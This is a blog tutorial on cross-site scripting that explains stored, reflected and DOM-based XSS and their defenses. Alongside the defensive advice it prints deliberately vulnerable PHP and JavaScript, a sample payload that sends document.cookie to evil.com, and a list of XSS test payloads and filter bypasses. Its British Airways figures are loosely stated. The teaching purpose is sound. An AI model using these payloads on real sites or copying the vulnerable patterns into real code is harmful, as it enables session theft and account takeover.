0x55aa
โ† Back to Blog

XSS Attacks: When Users Inject JavaScript Into Your Site ๐ŸŽญ

โ€ข7 min read

XSS Attacks: When Users Inject JavaScript Into Your Site ๐ŸŽญ

So I was reviewing code for a friend's website last week, and I found this beauty:

echo "<div>Welcome back, " . $_GET['name'] . "!</div>";

"What's wrong with that?" they asked.

Everything. EVERYTHING is wrong with that. ๐Ÿšจ

Let me show you why Cross-Site Scripting (XSS) is the security vulnerability that keeps on giving... to hackers.

What Even Is XSS? ๐Ÿค”

Simple version: It's when you let users write JavaScript that runs on OTHER people's browsers.

Real-world analogy: Imagine you own a billboard. Someone writes "Free Pizza!" on it. People see YOUR billboard and believe it's YOUR message. Except instead of pizza, it's malicious code stealing their passwords.

Yeah, not great!

The Three Flavors of Evil ๐Ÿฆ

1. Stored XSS - The Time Bomb ๐Ÿ’ฃ

This is the scary one. The malicious code gets SAVED in your database.

Example scenario:

// User submits a comment
$comment = $_POST['comment'];
DB::insert("INSERT INTO comments (text) VALUES ('$comment')");

// Later, you display it
$comments = DB::select("SELECT * FROM comments");
foreach ($comments as $comment) {
    echo "<p>" . $comment->text . "</p>";  // BOOM! ๐Ÿ’ฅ
}

What the attacker posts:

<script>
    fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Result: Every visitor who sees that comment gets their session stolen. It's like planting a landmine that explodes on everyone who walks by!

2. Reflected XSS - The Instant Hit โšก

The malicious code comes from the URL and gets reflected back immediately.

The vulnerable code:

// Search results page
$search = $_GET['q'];
echo "<h1>Results for: " . $search . "</h1>";

The attack URL:

yoursite.com/search?q=<script>alert('Hacked!')</script>

Why it's dangerous: Attackers send this link via email or social media. Users click it, thinking it's YOUR legit site, and boom - malicious code runs with YOUR site's permissions.

3. DOM-Based XSS - The Frontend Sneaker ๐Ÿฅท

This happens entirely in JavaScript, never touches your server.

The vulnerable code:

// Taking URL parameter and putting it directly in the page
const username = new URLSearchParams(window.location.search).get('user');
document.getElementById('welcome').innerHTML = `Welcome ${username}!`;

The attack:

yoursite.com?user=<img src=x onerror='alert(document.cookie)'>

Pro tip: Using innerHTML with user data? You're basically asking to get hacked.

Real Talk: What Can Attackers Actually Do? ๐Ÿ˜ฑ

"Okay, they can run JavaScript. So what?"

Oh sweet summer child, they can:

  1. Steal session cookies โ†’ Take over accounts
  2. Capture keystrokes โ†’ Get passwords as users type them
  3. Modify the page โ†’ Show fake login forms
  4. Redirect users โ†’ Send them to phishing sites
  5. Mine cryptocurrency โ†’ Use visitor's CPU power
  6. Spread worms โ†’ Self-replicate across your platform

It's not just alert('Hacked!') popups. It's full-on account takeovers and data theft.

The Defense Arsenal ๐Ÿ›ก๏ธ

1. Escape EVERYTHING (The Golden Rule)

Laravel/Blade (EASY MODE):

{{-- Safe - Auto-escaped --}}
<p>{{ $userInput }}</p>

{{-- DANGEROUS - Unescaped --}}
<p>{!! $userInput !!}</p>

React (Also Easy):

// Safe - React auto-escapes
<div>{userInput}</div>

// DANGEROUS - dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} />

Plain PHP (Do It Yourself):

// Good
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// Bad
echo $userInput;  // Hope you like getting pwned!

The magic: htmlspecialchars() converts <script> into &lt;script&gt; - harmless text instead of executable code!

2. Content Security Policy - Your Bodyguard ๐Ÿ’‚

CSP is like a bouncer for your website. It decides what JavaScript can run.

Add this header:

header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");

What this does:

  • default-src 'self' - Only load resources from your own domain
  • script-src 'self' - Only run scripts from your domain
  • object-src 'none' - No Flash/plugins (it's 2026, why would you?)

Even if an attacker injects code, CSP blocks it from running!

3. HTTPOnly Cookies - The Session Saver ๐Ÿช

// Bad
setcookie('session_id', $id);

// Good
setcookie('session_id', $id, [
    'httponly' => true,  // JavaScript can't access it!
    'secure' => true,    // HTTPS only
    'samesite' => 'Strict'  // Extra CSRF protection
]);

Translation: Even if XSS happens, attackers can't steal your session cookie via JavaScript. Game changer!

4. Input Validation - The First Line ๐Ÿšง

// Validate, don't just trust
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
    die('Nice try, hacker!');
}

// Use allowlists, not blocklists
$allowedTags = ['b', 'i', 'u', 'p'];
$clean = strip_tags($input, $allowedTags);

Why? Blocklists are impossible to maintain. There are a million ways to sneak in XSS. Allow only what you KNOW is safe.

The "But I Need Rich Content!" Problem ๐Ÿ“

Scenario: You're building a blog/forum where users NEED to format text.

WRONG solution: Allow all HTML RIGHT solution: Use a library that sanitizes HTML

// Use HTMLPurifier
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($userInput);

// Or DOMPurify in JavaScript
const clean = DOMPurify.sanitize(dirty);

These libraries know EVERY XSS trick in the book and strip them out!

Testing Your Defenses ๐Ÿงช

Try these XSS payloads on your own site:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>

If ANY of these execute, you have a problem!

Better yet, use automated tools:

Quick Wins (Implement NOW!) ๐Ÿƒโ€โ™‚๏ธ

  1. Switch to {{ }} in Blade - 5 minutes, huge protection
  2. Add CSP header - One line of code
  3. Make cookies HTTPOnly - Edit your config
  4. Use textContent not innerHTML - In JavaScript
  5. Install DOMPurify - For any rich content

Common Mistakes I See ๐Ÿ‘€

Mistake #1: "I'll Just Block <script>"

// This doesn't work!
$safe = str_replace('<script>', '', $userInput);

Why it fails:

<img src=x onerror=alert()>  <!-- No <script> needed! -->
<ScRiPt>alert()</sCrIpT>     <!-- Case variation -->
<scr<script>ipt>             <!-- Nested tags -->

There are literally hundreds of ways to execute JavaScript without <script>.

Mistake #2: "I Only Use HTTPS, I'm Safe!"

HTTPS protects data in transit. XSS happens AFTER the data arrives. Totally different problems!

Mistake #3: "My Framework Handles It!"

Half true. Modern frameworks auto-escape by default, BUT:

  • One {!! !!} in Blade = vulnerability
  • One dangerouslySetInnerHTML in React = vulnerability
  • One v-html in Vue = vulnerability

You have to ACTIVELY avoid the unsafe options.

Real-World War Story ๐Ÿ’€

In 2018, British Airways had an XSS vulnerability. Attackers injected code that:

  1. Captured credit card details
  2. Sent them to attacker's servers
  3. Affected 380,000 transactions

The fine: $230 million USD.

The fix: Proper input sanitization. Something that would've taken a few hours to implement.

Let that sink in. $230 million for skipping basic XSS protection.

Your XSS Prevention Checklist โœ…

  • Auto-escape all user input (use {{ }}, not {!! !!})
  • Add Content Security Policy headers
  • Set cookies to HTTPOnly and Secure
  • Use textContent instead of innerHTML in JavaScript
  • Validate input (allowlist, not blocklist)
  • Use DOMPurifier/HTMLPurifier for rich content
  • Test with XSS payloads regularly
  • Keep dependencies updated
  • Never trust user input (even from your own users!)

The Bottom Line ๐ŸŽฏ

XSS is like leaving your front door unlocked and then being surprised when someone walks in.

The good news? Modern frameworks make it EASY to defend against. You just have to:

  1. Use the framework's built-in escaping
  2. Add a CSP header
  3. Don't use the "unsafe" options unless you REALLY know why

The bad news? One mistake = entire site compromised.

Think of XSS protection like using condoms - boring, basic, but absolutely essential. And way better than dealing with the consequences! ๐Ÿ˜…


Want to learn more about security? Follow me on LinkedIn for daily security tips!

Building something cool? Check out my GitHub for more secure code examples!

Now go forth and sanitize ALL the inputs! ๐Ÿ›ก๏ธโœจ